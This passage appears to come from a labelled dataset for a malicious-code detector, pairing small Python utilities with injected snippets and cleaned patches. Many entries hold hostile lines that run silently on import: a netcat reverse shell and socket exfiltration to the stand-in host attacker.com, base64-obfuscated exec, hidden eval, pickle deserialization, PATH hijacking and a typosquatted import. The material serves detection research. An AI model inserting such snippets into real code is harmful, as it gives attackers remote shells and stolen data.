requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3811eb67", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c1747a8a", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_a3381b1e", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_d08f9dc0", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0b7ec32d", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_77973d06", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_60493fa9", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_62823359", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d18e4559", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4ea3511f", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_e836f74f", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_f0bcb96e", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_3c2ffc2f", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_41976e37", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_68f6bf97", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_61a90a99", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_246afd51", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_ebc98431", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8b63f10f", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_b0146f57", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_31999534", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_04bd60a9", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a01d6800", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_c00a6655", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_6e05d470", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_4d8481e7", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_98386850", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_d92a776b", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_23f14a8a", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e63f7d04", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_977a9f34", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_678bc2ae", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e8ee43d4", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_f93f493e", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0925565b", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_f77ab17c", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_36e1c494", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_c4828a26", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2eb017d0", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f849355d", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_11ea25ca", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_cfc1d168", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_08206db9", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_22a9ed55", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a05fdc71", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3207e023", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_d67b5a2f", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2b95c6b1", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_c31dd1e7", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_236d551d", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_b3d4725d", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in 